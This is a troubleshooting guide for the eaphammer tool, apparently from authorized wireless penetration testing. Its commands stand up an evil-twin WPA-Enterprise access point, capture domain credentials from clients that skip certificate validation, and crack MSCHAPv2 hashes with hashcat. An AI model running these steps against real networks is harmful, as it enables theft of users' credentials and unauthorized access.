eaphammer

Hammers the EAP!

eaphammer stands up a rogue WPA-Enterprise access point (an "evil twin") that advertises a real corporate SSID to capture domain credentials from clients that don't validate the RADIUS server certificate. On a modern Kali (2026) you'll hit three separate walls getting it running — container privileges, interface mode, and a pyOpenSSL break in the cert-wizard — so this is the battle-tested version.

Install

Run eaphammer (and airodump) natively on the VM/host, not in a container — Wi-Fi attacks need real NET_ADMIN/radio control and bind the interface as an AP, which is flaky (or outright Operation not permitted) inside something like exegol even with --privileged.

The setup script compiles hostapd-mana (the rogue-AP engine), which is why the libnl/libssl/ build-essential deps matter.

Option B — apt

sudo apt update && sudo apt install eaphammer

Simpler, but may be an older build — the interface and cert-wizard gotchas below still apply.

Interface prep (the #1 recurring gotcha)

eaphammer puts the interface into AP mode itself, so it needs a managed interface — NOT a monitor one. This trips you up constantly because airodump needs monitor mode (to find the target's channel) and eaphammer needs managed mode, so every scan flips the card the wrong way.

Always check state/name first, then prep:

iw dev                             # real interface name + type (managed/monitor) + up/down

If it's in monitor mode, flip it back to managed:

sudo ip link set <iface> down
sudo iw dev <iface> set type managed
sudo ip link set <iface> up
sudo iw reg set US                 # REQUIRED for 5 GHz AP channels (e.g. 44, 161)

Things that will bite you:

  • airmon-ng stop often leaves the interface named wlan0mon but in managed mode, and down — so -i wlan0 fails with No such device while -i wlan0mon is actually correct.

  • A reboot resets everything — the wlan0mon name reverts to wlan0, and the regulatory domain resets (re-run iw reg set US or 5 GHz AP won't start).

  • USB adapters (rt2800usb/RT5572) re-enumerate during mode changes, sometimes changing the name.

  • 5 GHz channels: stick to non-DFS (UNII-1 36-48, UNII-3 149-165). DFS channels 52-144 usually can't host an AP without radar detection.

Confirm AP mode is supported: iw list | grep -A8 'Supported interface modes' → look for AP.

Generate certificates

eaphammer's EAP server needs a full cert set — CA cert, server cert, server key, and DH params — in its certs/ layout, wired into its config. The cert-wizard does that, but on modern Kali it breaks twice.

sudo ./eaphammer --cert-wizard

Failure 1 — "string too short"

OpenSSL.crypto.Error: [('asn1 encoding routines', '', 'string too short')]

Modern OpenSSL 3.x rejects empty X.509 subject fields. Fill every prompt (CN, Country, State, Locale/City, Org, Org-Unit, Email) — none blank, and Country must be exactly 2 letters (e.g. US).

Failure 2 — "module 'OpenSSL.crypto' has no attribute 'X509Req'"

AttributeError: module 'OpenSSL.crypto' has no attribute 'X509Req'

pyOpenSSL 24.0.0 removed X509Req, and current Kali ships pyOpenSSL 24/25/26, so the wizard dies at the server-CSR step (after it already wrote the CA).

Fix — a throwaway venv for the ONE-TIME cert generation. Key insight: X509Req is only used by the cert-wizard, not by the eaphammer runtime. Generate certs once with an older pyOpenSSL, then run the actual attack with system Python.

cd ~/wifi/eaphammer
python3 -m venv --system-site-packages .cwvenv   # sees system deps, overrides pyOpenSSL
source .cwvenv/bin/activate
pip install 'pyOpenSSL==23.3.0'                   # last version WITH X509Req

sudo ./.cwvenv/bin/python eaphammer --cert-wizard # fill ALL fields, Country = 2 letters
deactivate

Verify the full set was created (not just the CA):

ls -la certs/ certs/ca certs/server
# expect: certs/ca/<cn>.pem   certs/server/<cn>.pem   certs/dh   certs/active/

Certs persist on disk, so you only do this once (they survive reboots and SSID changes).

Launch attack

sudo ip link set <iface> up
sudo ./eaphammer -i <iface> --essid 'CorpWifi' --channel <ch> --auth wpa-eap --creds

Success looks like:

<iface>: interface state COUNTRY_UPDATE->ENABLED
<iface>: AP-ENABLED                     # broadcasting;  AP-DISABLED = still broken
  • --channel = the real AP's channel (match the band; 5 GHz needs iw reg set).
  • The CN you chose during cert generation only matters as a yield-optimization: clients that do name-matching without CA validation accept a cert whose CN matches the real RADIUS server; clients that validate the CA chain reject it (the secure outcome, and a pass for the client).

Watch / capture / crack

Everything shows live in the console — you don't wait and parse files:

  • AP-STA-CONNECTED <mac> → a device joined your AP.
  • EAP identity line → the username it submits.
  • Credential capture → MSCHAPv2 challenge:response, or a cleartext GTC downgrade.
  • A client that rejects your cert associates, starts EAP, then disconnects with no creds = the "certs required" / secure outcome.

Captures also save to loot/. Crack MSCHAPv2 with:

hashcat -m 5500 <captured.hash> wordlist.txt    # or asleap, or crack.sh (DES → recovers it reliably)

It works regardless of password strength — the mitigation is certificate validation, not strong passwords. (The .hccapx file is for WPA/WPA2 PSK handshakes, not the enterprise EAP creds.)

Operational notes

Default to passive (no deauth) and kill the AP on the first auth attempt to minimize disruption — affected devices float back to the real AP immediately. Deauth-assisted nudging is a separate, sign-off-only step, needs a second adapter (one radio can't be an AP and inject deauth at once), and is blocked entirely if PMF / 802.11w is required.

TL;DR fix list

  1. Run native, not in a container.
  2. iw dev → give eaphammer a managed interface, brought up (not wlan0mon in monitor mode).
  3. iw reg set US for 5 GHz channels (resets on reboot).
  4. cert-wizard: fill all fields (Country = 2 chars).
  5. cert-wizard X509Req crash → venv with pyOpenSSL==23.3.0 for one-time cert gen; run the attack with system Python.